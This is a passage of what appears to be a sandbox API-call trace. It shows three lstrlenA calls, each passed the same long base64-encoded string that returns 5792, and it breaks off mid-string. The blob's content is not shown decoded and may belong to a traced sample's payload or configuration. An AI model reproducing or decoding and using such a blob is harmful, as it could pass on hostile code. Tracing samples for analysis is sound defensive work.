(lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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